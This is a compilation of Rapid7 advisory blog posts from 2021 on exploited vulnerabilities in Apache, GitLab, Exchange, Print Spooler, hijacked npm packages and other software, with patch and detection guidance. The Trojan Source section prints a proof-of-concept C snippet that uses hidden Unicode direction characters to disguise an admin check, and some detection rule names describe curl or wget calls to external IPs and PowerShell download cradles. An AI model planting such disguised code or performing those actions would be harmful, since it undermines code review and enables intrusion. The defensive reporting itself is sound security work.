Since other vendors bundle HTTP Server in their products, we expect to see a continued trickle of downstream advisories as third-party software producers update their dependencies. Cisco, for example, has more than 20 products they are investigating as potentially affected by CVE-2021-40438, including a number of network infrastructure solutions and security boundary devices. To be exploitable, CVE-2021-40438 requires that mod_proxy be enabled. It carries a CVSSv3 score of 9.0.

Several sources have confirmed that they have seen exploit attempts of CVE-2021-40438 in the wild. As of November 30, 2021, there is no evidence yet of widespread attacks, but given httpd’s prevalence and typical exposure levels (and the fact that it’s commonly bundled across a wide ecosystem of products), it’s likely exploitation will continue — and potentially increase. Rapid7 and the community have analysis of this vulnerability in AttackerKB.

Affected versions

According to Apache’s advisory, all Apache HTTP Server versions up to 2.4.48 are vulnerable if mod_proxy is in use. CVE-2021-40438 is patched in Apache HTTP Server 2.4.49 and later.

Rapid7 Labs has observed over 4 million potentially vulnerable instances of Apache httpd 2.x:

Active Exploitation of Apache HTTP Server CVE-2021-40438

Mitigation guidance

Apache HTTP Server versions 2.4.49 and 2.4.50 included other severe vulnerabilities that are known to be exploited in the wild, so Apache httpd customers should upgrade to the latest version (2.4.51 at time of writing) instead of upgrading incrementally.

We advise paying close attention particularly to firewall or other security boundary product advisories and prioritizing updates for those solutions. NVD’s entry for CVE-2021-40438 includes several downstream vendor advisories.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2021-40438 with both authenticated and unauthenticated vulnerability checks.

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CVE-2021-43287 Allows Pre-Authenticated Build Takeover of GoCD Pipelines

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/11/10/cve-2021-43287-allows-pre-authenticated-build-takeover-of-gocd-pipelines/

CVE-2021-43287 Allows Pre-Authenticated Build Takeover of GoCD Pipelines

On October 26, 2021, open-source CI/CD solution GoCD released version 21.3.0, which included a fix for CVE-2021-43287, a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information, including build secrets and encryption keys. Both Rapid7 vulnerability researchers and community researchers were easily able to register a rogue agent, injecting themselves into GoCD builds and enabling full, pre-authenticated pipeline takeover. CVE-2021-43287 can be exploited with a single HTTP request.

While CVE-2021-43287 is still awaiting a formal CVSSv3 score and description, it’s no secret that CI/CD tooling and pipelines are high-value targets for both sophisticated and opportunistic attackers. GoCD customers should update to version 21.3.0 on an emergency basis, given the potential for exploitation to undermine the integrity of their software development pipelines. The US Cybersecurity and Infrastructure Security Agency (CISA) has also issued an alert and patch guidance. Rapid7’s vulnerability research team has a more detailed technical analysis of CVE-2021-43287 here.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2021-43287 with a remote vulnerability check available in the November 9, 2021 content release.

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Opportunistic Exploitation of Zoho ManageEngine and Sitecore CVEs

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/11/09/opportunistic-exploitation-of-zoho-manageengine-and-sitecore-cves/

Opportunistic Exploitation of Zoho ManageEngine and Sitecore CVEs

Over the weekend of November 6, 2021, Rapid7’s Incident Response (IR) and Managed Detection and Response (MDR) teams began seeing opportunistic exploitation of two unrelated CVEs:

  • CVE-2021-40539, a REST API authentication bypass in Zoho’s ManageEngine ADSelfService Plus product that Rapid7 has previously analyzed. CISA warned of attackers targeting CVE-2021-40539 in September; the vulnerability allows for unauthenticated remote code execution upon successful exploitation. As of November 8, 2021, Microsoft is also warning that a specific threat actor is targeting vulnerable ManageEngine ADSelfService Plus installations.
  • CVE-2021-42237, a deserialization vulnerability in the Sitecore Experience Platform that allows for unauthenticated remote code execution in earlier versions. The affected versions of Sitecore XP appear to be several years old and unsupported other than through extended support contracts. With that said, there seem to be a higher number of organizations with vulnerable installations than expected based on the rate of compromise Rapid7 teams have observed.

Attackers appear to be targeting vulnerabilities with attacks that drop webshells and install coin miners on vulnerable targets. The majority of the compromises Rapid7’s services teams have seen are the result of vulnerable Sitecore instances. Both CVEs are patched; ManageEngine ADSelfService Plus and Sitecore XP customers should prioritize fixes on an urgent basis, without waiting for regularly scheduled patch cycles.

Rapid7 customers

The following attacker behavior detections are available to InsightIDR and MDR customers and will alert security teams to webshells and powershell activity related to this attack:

  • Webshell – IIS Spawns CMD to Spawn PowerShell
  • Attacker Technique – PowerShell Download Cradle

InsightVM and Nexpose customers can assess their exposure to Zoho ManageEngine CVE-2021-40539 with a remote vulnerability check. Rapid7 vulnerability researchers have a full technical analysis of this vulnerability available here. Our research teams are investigating the feasibility of adding a vulnerability check for Sitecore XP CVE-2021-42237. A technical analysis of this vulnerability is available here.

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New NPM library hijacks (coa and rc)

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/11/05/new-npm-library-hijacks-coa-and-rc/

New NPM library hijacks (coa and rc)

On Thursday, November 4, 2021, barely more than a week after ua-parser-js was hijacked, another popular NPM library called coa (Command-Option-Argument), which is used in React packages around the world, was hijacked to distribute credential-stealing malware. The developer community noticed something was amiss when strange new versions of coa appeared on npm, breaking software builds.

Another popular NPM component, rc, was also evidently hijacked to run malicious code in Windows environments. According to NPM, the malware identified in the rc hijack was identical to the malware distributed in the coa hijack.

Both coa and rc are used by millions of developers and projects. As of Friday, November 5, several developers and users had called for NPM to implement stricter security measures, including MFA on developer accounts.

Mitigation Guidance

NPM has reportedly removed compromised versions of coa. The maintainers said on Thursday:

“Users of affected versions (2.0.3 and above) should downgrade to 2.0.2 as soon as possible and check their systems for suspicious activity. See this issue for details as they unfold.

"Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.”

Mitigation instructions for rc are identical to above. The affected versions of rc are 1.2.9, 1.3.9, and 2.3.9. Those users should downgrade to 1.2.8 as soon as possible and check their systems for suspicious activity, taking care to rotate secrets.

All users of coa and rc should look for compile.js, compile.bat, sdd.dll files and delete or investigate those files. Version pinning may help mitigate risk against future attacks of this nature. BleepingComputer has more information on the attack and the malware’s behavior here.

Trojan Source CVE-2021-42572: No Panic Necessary

Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/11/04/trojan-source-cve-2021-42572/

What is this thing?

Trojan Source CVE-2021-42572: No Panic Necessary

Researchers at the University of Cambridge and the University of Edinburgh recently published a paper on an attack technique they call “Trojan Source.” The attack targets a weakness in text-encoding standard Unicode—which allows computers to handle text across many different languages—to trick compilers into emitting binaries that do not actually match the logic visible in source code. In other words, what a developer or security analyst sees in source code with their own eyes could be different from how a compiler interprets it—leading, in effect, to an attack that is not easily discernible. This weakness arises from Unicode’s bidirectional “BiDi” algorithm and affects most compilers, or perhaps more accurately, most editing and code review tooling; the idea that source code will be compiled the way it is displayed to the human eye is a fundamental assumption.

How the attack works.

It is possible, and often necessary, to have both left-to-right and right-to-left glyphs appear in the same sentence. A classic example from O’Reilly’s “Unicode Explained” book shows Arabic embedded in an English sentence and the direction readers familiar with both languages will read the section in:

Trojan Source CVE-2021-42572: No Panic Necessary

The official Unicode site also has additional information and examples.

There are a few options available to creators when the need for a document or section of a document to support bidirectional content, one of which is to insert “invisible” control characters that dictate the directionality of text following the directive. This is how the “Trojan Source” attack works. Let’s use one of the examples from the paper to illustrate what’s going on.

Trojan Source CVE-2021-42572: No Panic Necessary

The screenshot above is from the GitHub repository associated with the paper and shows the C language source code that looks like it should not print anything when compiled and run. (Also note that there is a very explicit safety banner, which you should absolutely take very seriously in any source code you see it displayed in).

When we copy that code from the browser and paste it into the popular Sublime Text editor with the Gremlins package installed and enabled, we can see the attempted shenanigans pretty clearly:

Trojan Source CVE-2021-42572: No Panic Necessary

The line number sidebar shows where sneaky directives have been inserted, and the usually invisible content is explicitly highlighted and not interpreted, so you can see what’s actually getting compiled. In this case, one is always “admin” when they run this program. The bottom line is that you cannot fully trust just your eyes without some assistance.

Note that cat Linux command (available on Windows via the Windows Subsystem for Linux and via macOS by installing the GNU version of the utility) can also be used to display these invisible gremlins:

cat -A -v commentint-out.c                                                  #include <stdio.h>$
#include <stdbool.h>$
$
int main() {$
    bool isAdmin = false;$
    /*M-bM-^@M-. } M-bM-^AM-&if (isAdmin)M-bM-^AM-) M-bM-^AM-& begin admins only */$
        printf("You are an admin.\n");$
    /* end admins only M-bM-^@M-. { M-bM-^AM-&*/$
    return 0;$
}$
$

Unfortunately, GitHub’s safety banner and code-editor plugins do not scale very well. Thankfully, Red Hat has come to the rescue with a simple Python script which can help us identify potential issues across an entire codebase with relative ease. It should also be possible to use this script in pre-commit hooks or in CI/CD workflows to prevent malicious code from entering into production.

CVSSv3 9.8?! Orly?!

While this isn’t really a “vulnerability” in the traditional sense of the word, it’s been assigned CVE-2021-42574 and given a “Critical” CVSSv3 score of 9.8. (The “PetitPotam” attack chain targeting Windows domains is another example of a technique that was recently assigned a CVE.) It’s a little puzzling why CVE-2021-42574 merited a “Critical” severity score, though. According to our calculations, this weakness should be more like a 5.6 on the CVSSv3 scale.

Should I be super scared?

It’s an interesting attack, and its universality is certainly attention-grabbing. With that said, there are some caveats to both novelty and exploitability. Attack techniques that leverage Unicode’s text expression aren’t new. The CVSS score assigned to this is overblown. To exploit this weakness, an attacker would need to have direct access to developers’ workstations, source code management system, or CI pipelines. If an attacker has direct access to your source code management system, frankly, you probably have bigger problems than this attack. Note that said “attacker” could be a legitimate, malicious insider; those types of attackers are notoriously difficult to fully defend against.

What should I do?

You should apply patches from vendors whose products you rely on just as you normally would, keeping in mind that because this flaw is present in so many tooling implementations, you could apply many patches and still be considered “vulnerable” in other implementations. The better thing to do would be to apply a fairly straightforward mitigation: Disallow BiDi directives in your code base if you’re writing in only English or only Arabic.

As noted above, you should absolutely heed the Unicode safety warnings (if available) in any source code repositories you use, and strongly consider using something like the aforementioned Red Hat Unicode directionality directive checker-script in source code control and continuous integration and deployment workflows.

We advise prioritizing truly critical patches and limiting service and system exposure before worrying about source code-level attacks that require local or physical access.

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GitLab Unauthenticated Remote Code Execution CVE-2021-22205 Exploited in the Wild

Post Syndicated from Jake Baines original https://blog.rapid7.com/2021/11/01/gitlab-unauthenticated-remote-code-execution-cve-2021-22205-exploited-in-the-wild/

GitLab Unauthenticated Remote Code Execution CVE-2021-22205 Exploited in the Wild

On April 14, 2021, GitLab published a security release to address CVE-2021-22205, a critical remote code execution vulnerability in the service’s web interface. At the time, GitLab described the issue as an authenticated vulnerability that was the result of passing user-provided images to the service’s embedded version of ExifTool. A remote attacker could execute arbitrary commands as the git user due to ExifTool’s mishandling of DjVu files, an issue that was later assigned CVE-2021-22204.

CVE-2021-22205 was initially assigned a CVSSv3 score of 9.9. However, on September 21, 2021 GitLab revised the CVSSv3 score to 10.0. The increase in score was the result of changing the vulnerability from an authenticated issue to an unauthenticated issue. Despite the tiny move in CVSS score, a change from authenticated to unauthenticated has big implications for defenders. Rapid7’s vulnerability research team has a full root cause analysis of CVE-2021-22205 in AttackerKB.

There are multiple recently published public exploits for this vulnerability, and it reportedly has been exploited in the wild since June or July of 2021. We expect exploitation to increase as details of the unauthenticated nature of this vulnerability become more widely understood.

According to GitLab’s April 2021 advisory, CVE-2021-22205 affects all versions of both GitLab Enterprise Edition (EE) and GitLab Community Edition (CE) starting from 11.9. The vulnerability was patched in the following versions:

  • 13.10.3
  • 13.9.6
  • 13.8.8

Versions in the wild

At the time of writing (October 31, 2021), patches have been available for GitLab for more than six months. However, analysis of internet-facing GitLab instances suggests that a large number are still vulnerable.

We can see just short of 60,000 internet-facing GitLab installations. Unfortunately, GitLab’s web interface does not have an easy-to-extract version string. But by using the appearance of application_utilities about a year ago and then the migration of application_utilities into loading hints header, we can break the internet-facing GitLab installs into three categories: unpatched, maybe patched, and patched.

Of the 60,000 this is what we found:

  • 21% of installs are fully patched against this issue.
  • 50% of installs are not patched against this issue.
  • 29% of installs may or may not be vulnerable.

Mitigation guidance

Rapid7’s emergent threat response team has a full technical analysis of CVE-2021-22205 in AttackerKB, along with several ways for GitLab customers to determine whether they may be running vulnerable versions.

GitLab users should upgrade to the latest version of GitLab as soon as possible.

Rapid7 customers

Our researchers are currently evaluating the feasibility of adding a vulnerability check for CVE-2021-22205.

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NPM Library (ua-parser-js) Hijacked: What You Need to Know

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/10/25/npm-library-ua-parser-js-hijacked-what-you-need-to-know/

NPM Library (ua-parser-js) Hijacked: What You Need to Know

For approximately 4 hours on Friday, October 22, 2021, a widely utilized NPM package, ua-parser-js, was embedded with a malicious script intended to install a coinminer and harvest user/credential information. This package is used “to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data,” with nearly 8 million weekly downloads and 1,200 dependencies.

The malicious package was available for download starting on October 22, 2021, at 12:15 PM GMT, and ending October 22, 2021, between 4:16 PM and 4:26 PM GMT. During that time, 3 versions of the package were compromised with a script that would execute on Windows and Linux machines:

Affected Version Patched Version
0.7.29 0.7.30
0.8.0 0.8.1
1.0.0 1.0.1

Both GitHub and CISA issued advisories urging users to upgrade right away and review systems for suspicious or malicious activity.

Due to the quick reporting of issues by GitHub users and action by the developer, development exposure will be limited to teams who had a pull/build during that (roughly) 4-hour timeframe.

At this time, the source of the attack is unconfirmed. However, with the use of IntSights, recently acquired by Rapid7, a suspicious thread has been identified, created on October 5, 2021, in a prominent Russian hacking forum. There, a threat actor offered access to a developer account of an undisclosed package on npmjs.com, indicating that the package has “more than 7 million installations every week, more than 1,000 others are dependent on this.” With the requested price of $20,000 dollars, the threat actor stated that the account does not have 2-factor authentication.

NPM Library (ua-parser-js) Hijacked: What You Need to Know

While there is no definitive evidence that the compromise of ua-parser-js is related to the above-mentioned dark-web activity, the weekly installs and dependency numbers appear to match and align with the developers’ post of an account hijack.

Rapid7 guidance

Rapid7 recommends development teams immediately heed the advice for organizations to review for the use of these versions and remediate accordingly. Additionally, organizations’ security teams need to be on the lookout for users who visited a site infected with the malicious script. Several anti-malware programs have (or have since added) detections for this, and organizations should keep an eye open for network traffic that is hitting domains/IPs associated with coin mining.

Rapid7 customers

InsightVM

InsightVM users will be able to assess their exposure to malicious versions of the ua-parser-js package via Container Security functionality in an upcoming release. No Scan Engine or Insight Agent-based checks are currently planned.

InsightIDR

InsightIDR customers, including Managed Detection & Response customers, were already equipped with detections that may be indicative of related malicious activity:

  • Cryptocurrency Miner – XMRig
  • Suspicious Process – Curl to External IP Address
  • Wget to External IP Address

Additionally, Rapid7 has updated the following rule to provide additional coverage:

  • Cryptocurrency Miner – Mining Pool URL in Command Line

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Apache HTTP Server CVE-2021-41773 Exploited in the Wild

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/10/06/apache-http-server-cve-2021-41773-exploited-in-the-wild/

Apache HTTP Server CVE-2021-41773 Exploited in the Wild

On Monday, October 4, 2021, Apache published an advisory on CVE-2021-41773, an unauthenticated remote file disclosure vulnerability in HTTP Server version 2.4.49 (and only in 2.4.49). The vulnerability arises from the mishandling of URL-encoded path traversal characters in the HTTP GET request. Public proof-of-concept exploit code is widely available, and Apache and others have noted that this vulnerability is being exploited in the wild.

While the original advisory indicated that CVE-2021-41773 was merely an information disclosure bug, both Rapid7 and community researchers have verified that the vulnerability can be used for remote code execution when mod_cgi is enabled. While mod_cgi is not enabled in the default Apache Server HTTP configuration, it’s also not an uncommon feature to enable. With mod_cgi enabled, an attacker can execute arbitrary programs via HTTP POST requests. The initial RCE proof of concept resulted in blind command execution, and there have been multiple proofs of concept that coerce the HTTP server into sending the program’s output back to the attacker. Rapid7’s research team has a full root cause analysis of CVE-2021-41773 here along with proofs of concept.

Rapid7 Labs has identified roughly 65,000 potentially vulnerable versions of Apache httpd exposed to the public internet. Our exposure estimate intentionally does not count multiple Apache servers on the same IP as different instances (this would substantially increase the number of exposed instances identified as vulnerable).

Apache HTTP Server CVE-2021-41773 Exploited in the Wild

Mitigation guidance

Organizations that are using Apache HTTP Server 2.4.49 should determine whether they are using vulnerable configurations. If a vulnerable server is discovered, the server’s configuration file should be updated to include the filesystem directory directive with require all denied:

<Directory />
    Require all denied
</Directory>

Apache HTTP Server users should update to 2.4.50 or later as soon as is practical. For more information, see Apache’s advisory here.

Rapid7 customers

A remote vulnerability check is scheduled to be released to InsightVM and Nexpose customers in today’s (October 6, 2021) content update.

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Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/

Description

Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)

On Tuesday, September 21, 2021, VMware published security advisory VMSA-2021-0020, which includes details on CVE-2021-22005, a critical file upload vulnerability (CVSSv3 9.8) in vCenter Server that allows remote code execution (RCE) on the appliance. Successful exploitation of this vulnerability is achieved simply by uploading a specially crafted file via port 433 “regardless of the configuration settings of vCenter Server.”

VMware has published an FAQ outlining the details of this vulnerability and makes it clear that this should be patched “immediately.” A workaround is also being provided by VMware — however, its use is not being recommended and should only be used as a temporary solution.

Affected products

  • vCenter Server versions 6.7 and 7.0
  • Cloud Foundation (vCenter Server) 3.x, 4.x

Guidance

We echo VMware’s advice that impacted servers should be patched right away. While there are currently no reports of exploitation, we expect this to quickly change within days — just as previous critical vCenter vulnerabilities did (CVE-2021-21985, CVE-2021-21972). Additionally, Rapid7 recommends that, as a general practice, network access to critical organizational infrastructure only be allowed via VPN and never open to the public internet.

We will update this post as more information becomes available, such as information on exploitation.

Rapid7 customers

A vulnerability check for CVE-2021-22005 is under development and will be available to InsightVM and Nexpose customers in an upcoming content release pending the QA process.

In the meantime, InsightVM customers can use Query Builder to find assets that have vCenter Server installed by creating the following query: software.description contains vCenter Server. Rapid7 Nexpose customers can create a Dynamic Asset Group based on a filtered asset search for Software name contains vCenter Server.

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Active Exploitation of Confluence Server CVE-2021-26084

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/

Active Exploitation of Confluence Server CVE-2021-26084

On August 25, 2021, Atlassian published details on CVE-2021-26084, a critical remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability arises from an OGNL injection flaw and allows authenticated attackers, “and in some instances an unauthenticated user,” to execute arbitrary code on Confluence Server or Data Center instances.

The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if “Allow people to sign up to create their account” is enabled. To check whether this is enabled, go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.

Proof-of-concept exploit code has been publicly available since August 31, 2021, and active exploitation has been reported as of September 2. Confluence Server and Data Center customers who have not already done so should update to a fixed version immediately, without waiting for their typical patch cycles. For a complete list of fixed versions, see Atlassian’s advisory here.

For full vulnerability analysis, including triggers and check information, see Rapid7’s analysis in AttackerKB.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2021-26084 with remote vulnerability checks as of the August 26, 2021 content release.

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ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/

ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers

On August 5, 2021, in a Black Hat USA talk, DEVCORE researcher Orange Tsai shared information on several exploit chains targeting on-premises installations of Microsoft Exchange Server. Among the exploit chains presented were ProxyLogon, which was exploited en masse in February and March of 2021, and ProxyShell, an attack chain originally demonstrated at the Pwn2Own hacking competition this past April. As of August 12, 2021, multiple researchers have detected widespread opportunistic scanning and exploitation of Exchange servers using the ProxyShell chain.

According to Orange Tsai’s demonstration, the ProxyShell exploit chain allows a remote unauthenticated attacker to execute arbitrary commands on a vulnerable on-premises instance of Microsoft Exchange Server via port 443. The exploit is comprised of three discrete CVEs:

While CVE-2021-34473 and CVE-2021-34523 were patched in April, Microsoft’s advisories note that they were inadvertently omitted from publication until July.

When chained, these vulnerabilities allow the attacker to bypass ACL controls, send a request to a PowerShell back-end, and elevate privileges, effectively authenticating the attacker and allowing for remote code execution. No public proof-of-concept (PoC) code has been released as of August 12, but there is ample evidence of multiple private exploits — not surprising, since ProxyShell was first demonstrated more than four months ago at Pwn2Own. A number of technical analyses of the chain have been published, and we expect public PoCs to be shared shortly.

Notably, there has been confusion about which CVE is which across various advisories and research descriptions — Microsoft, for instance, describes CVE-2021-34473 as a remote code execution vulnerability, but Orange Tsai’s Black Hat slides list CVE-2021-34473 as the initial ACL bypass. Community researchers have also expressed confusion over CVE numbering across the ProxyShell chain, but ultimately, the takeaway is the same: Organizations that have not patched these vulnerabilities should do so on an emergency basis and invoke incident response protocols to look for indicators of compromise.

Affected products

The following versions of Exchange Server are vulnerable to all three ProxyShell CVEs:

  • Microsoft Exchange Server 2019 Cumulative Update 9
  • Microsoft Exchange Server 2019 Cumulative Update 8
  • Microsoft Exchange Server 2016 Cumulative Update 20
  • Microsoft Exchange Server 2016 Cumulative Update 19
  • Microsoft Exchange Server 2013 Cumulative Update 23

Organizations that rely on on-premises installations of Exchange Server and are not able to move to O365 should ensure that all Exchange instances are patched on a zero-day basis. In order to do this, it is vital that defenders keep up-to-date with quarterly Cumulative Updates, since Microsoft only releases security fixes for the most recent Cumulative Update versions.

While ProxyShell and March’s ProxyLogon exploit chain are the two attacks that have already resulted in widespread exploitation, they are not the only exploit chains targeting on-premises Exchange servers. Exchange continues to be valuable and accessible attack surface area for both sophisticated and run-of-the-mill threat actors, and we will certainly see additional widespread exploitation in the future.

Read more from our emergent threat response team on high-priority attack surface area, including Windows Print Spooler and Pulse Connect Secure VPNs.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to all three ProxyShell CVEs with authenticated vulnerability checks.

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Popular Attack Surfaces, August 2021: What You Need to Know

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/

Popular Attack Surfaces, August 2021: What You Need to Know

Whether you attended virtually, IRL, or not at all, Black Hat and DEF CON have officially wrapped, and security folks’ brains are replete with fresh information on new (and some not-so-new) vulnerabilities and exploit chains. The “hacker summer camp” conferences frequently also highlight attack surface area that may not be net-new — but that is subjected to renewed and redoubled community interest coming out of Vegas week. See Rapid7’s summaries here and here.

Here’s the specific attack surface area and a few of the exploit chains we’re keeping our eye on right now:

  • Orange Tsai stole the show (as always) at Black Hat with a talk on fresh Microsoft Exchange attack surface area. All in all, Orange discussed CVEs from what appears to be four separate attack chains —including the ProxyLogon exploit chain that made headlines when it hit exposed Exchange servers as a zero-day attack back in March and the “ProxyShell” exploit chain, which debuted at Pwn2Own and targets three now-patched CVEs in Exchange. Exchange continues to be a critically important attack surface area, and defenders should keep patched on a top-priority or zero-day basis wherever possible.
  • Print spooler vulnerabilities continue to cause nightmares. DEF CON saw the release of new privilege escalation exploits for Windows Print Spooler, and Black Hat featured a talk by Sangfor Technologies researchers that chronicled both new Windows Print Spooler vulnerabilities and past patch bypasses for vulns like CVE-2020-1048 (whose patch was bypassed three times). Given that many defenders are still trying to remediate the “PrintNightmare” vulnerability from several weeks ago, it’s fair to say that Windows Print Spooler will remain an important attack surface area to prioritize in future Patch Tuesdays.
  • There’s also a new vulnerability in Pulse Connect Secure VPNs that caught our attention — the vuln is actually a bypass for CVE-2020-8260, which came out last fall and evidently didn’t completely fade away — despite the fact that it’s authenticated and requires admin access. With CISA’s warnings about APT attacks against Pulse Connect Secure devices, it’s probably wise to patch CVE-2021-22937 quickly.
  • And finally, the SpecterOps crew gave a highly anticipated Black Hat talk on several new attack techniques that abuse Active Directory Certificate Services — something we covered previously in our summary of the PetitPotam attack chain. This is neat research for red teams, and it may well show up on blue teams’ pentest reports.

Microsoft Exchange ProxyShell chain

Patches: Available
Threat status: Possible threat (at least one report of exploitation in the wild)

It goes without saying that Microsoft Exchange is a high-value, popular attack surface that gets constant attention from threat actors and researchers alike. That attention is increasing yet again after prominent security researcher Orange Tsai gave a talk at Black Hat USA last week revealing details on an attack chain first demonstrated at Pwn2Own. The chain, dubbed “ProxyShell,” allows an attacker to take over an unpatched Exchange server. ProxyShell is similar to ProxyLogon (i.e., CVE-2021-26855 and CVE-2021-27065), which continues to be popular in targeted attacks and opportunistic scans despite the fact that it was patched in March 2021.

Two of the three vulnerabilities used for ProxyShell were patched in April by Microsoft and the third was patched in July. As of August 9, 2021, private exploits have already been developed, and it’s probably only a matter of time before public exploit code is released, which may allow for broader exploitation of the vulns in this attack chain (in spite of its complexity!). Rapid7 estimates that there are, at least, nearly 75,000 ProxyShell-vulnerable exchange servers online:

Popular Attack Surfaces, August 2021: What You Need to Know

We strongly recommend that Exchange admins confirm that updates have been applied appropriately; if you haven’t patched yet, you should do so immediately on an emergency basis.

One gotcha when it comes to Exchange administration is that Microsoft only releases security fixes for the most recent Cumulative Update versions, so it’s vital to stay up to date with these quarterly releases in order to react quickly when new patches are published.

ProxyShell CVEs:

Windows Print Spooler — and more printer woes

Patches: Varies by CVE, mostly available
Threat status: Varies by CVE, active and impending

The Windows Print Spooler was the subject of renewed attention after the premature disclosure of the PrintNightmare vulnerability earlier this summer, followed by new Black Hat and DEF CON talks last week. Among the CVEs discussed were a quartet of 2020 vulns (three of which were bypasses descended from CVE-2020-1048, which has been exploited in the wild since last year), three new remote code execution vulnerabilities arising from memory corruption flaws, and two new local privilege escalation vulnerabilities highlighted by researcher Jacob Baines. Of this last group, one vulnerability — CVE-2021-38085 — remains unpatched.

On August 11, 2021, Microsoft assigned CVE-2021-36958 to the latest Print Spooler remote code execution vulnerability which appears to require local system access and user interaction. Further details are limited at this time. However, as mitigation, Microsoft is continuing to recommend stopping and disabling the Print Spooler service. Even after this latest zero-day vulnerability is patched, we strongly recommend leaving the Print Spooler service disabled wherever possible. Read Rapid7’s blog on PrintNightmare for further details and updates.

Windows Print Spooler and related CVEs:

  • CVE-2020-1048 (elevation of privilege vuln in Windows Print Spooler presented at Black Hat 2020; exploited in the wild, Metasploit module available)
  • CVE-2020-1337 (patch bypass for CVE-2020-1048; Metasploit module available)
  • CVE-2020-17001 (patch bypass variant for CVE-2020-1048)
  • CVE-2020-17014 (patch bypass variant for CVE-2020-1048)
  • CVE-2020-1300 (local privilege escalation technique known as “EvilPrinter” presented at DEF CON 2020)
  • CVE-2021-24088 (new remote code execution vulnerability in the Windows local spooler, as presented at Black Hat 2021)
  • CVE-2021-24077 (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)
  • CVE-2021-1722 (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)
  • CVE-2021-1675 (elevation of privilege vuln in Windows Print Spooler patched in June 2021)
  • CVE-2021-34527, aka “PrintNightmare”
  • CVE-2021-35449 (print driver local privilege escalation vulnerability, as presented at DEF CON 2021; Metasploit module in progress)
  • CVE-2021-38085 (unpatched print driver local privilege escalation vulnerability, as presented at DEF CON 2021; Metasploit module in progress)
  • CVE-2021-36958 (unpatched remote code execution vulnerability; announced August 11, 2021)

Currently, both PrintNightmare CVE-2021-34527 and CVE-2020-1048 are known to be exploited in the wild. As the list above demonstrates, patching print spooler and related vulns quickly and completely has been a challenge for Microsoft for the past year or so. The multi-step mitigations required for some vulnerabilities also give attackers an advantage. Defenders should harden printer setups wherever possible, including against malicious driver installation.

Pulse Connect Secure CVE-2021-22937

Patch: Available
Threat status: Impending (Exploitation expected soon)

On Monday, August 2, 2021, Ivanti published Security Advisory SA44858 which, among other fixes, includes a fix for CVE-2021-22937 for Pulse Connect Secure VPN Appliances running 9.1R11 or prior. Successful exploitation of this vulnerability, which carries a CVSSv3 score of 9.1, requires the use of an authenticated administrator account to achieve remote code execution (RCE) as user root.

Public proof-of-concept (PoC) exploit code has not been released as of this writing. However, this vulnerability is simply a workaround for CVE-2020-8260, an authentication bypass vulnerability that was heavily utilized by attackers, released in October 2020.

The Cybersecurity and Infrastructure Security Agency (CISA) has been monitoring the Exploitation of Pulse Connect Secure Vulnerabilities demonstrating that attackers have been targeting Ivanti Pulse Connect Secure products for over a year. Due to attacker focus on Pulse Connect Secure products, and especially last year’s CVE-2020-8260, Rapid7 recommends patching CVE-2021-22937 as soon as possible.

PetitPotam: Windows domain compromise

Patches: Available
Threat status: Threat (Exploited in the wild)

In July 2021, security researcher Topotam published a PoC implementation of a novel NTLM relay attack christened “PetitPotam.” The technique used in the PoC allows a remote, unauthenticated attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running — including domain controllers. Rapid7 researchers have tested public PoC code against a Windows domain controller setup and confirmed exploitability. One of our senior researchers summed it up with: "This attack is too easy." You can read Rapid7’s full blog post here.

On August 10, 2021, Microsoft released a patch that addresses the PetitPotam NTLM relay attack vector in today’s Patch Tuesday. Tracked as CVE-2021-36942, the August 2021 Patch Tuesday security update blocks the affected API calls OpenEncryptedFileRawA and OpenEncryptedFileRawW through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in KB5005413 to ensure their systems are fully mitigated.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to the vulnerabilities in this post with authenticated vulnerability checks. Please note that details haven’t yet been released on CVE-2021-38085 and CVE-2021-36958; therefore, it’s still awaiting analysis and check development.

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Microsoft SAM File Readability CVE-2021-36934: What You Need to Know

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/

Microsoft SAM File Readability CVE-2021-36934: What You Need to Know

On Monday, July 19, 2021, community security researchers began reporting that the Security Account Manager (SAM) file on Windows 10 and 11 systems was READ-enabled for all local users. The SAM file is used to store sensitive security information, such as hashed user and admin passwords. READ enablement means attackers with a foothold on the system can use this security-related information to escalate privileges or access other data in the target environment.

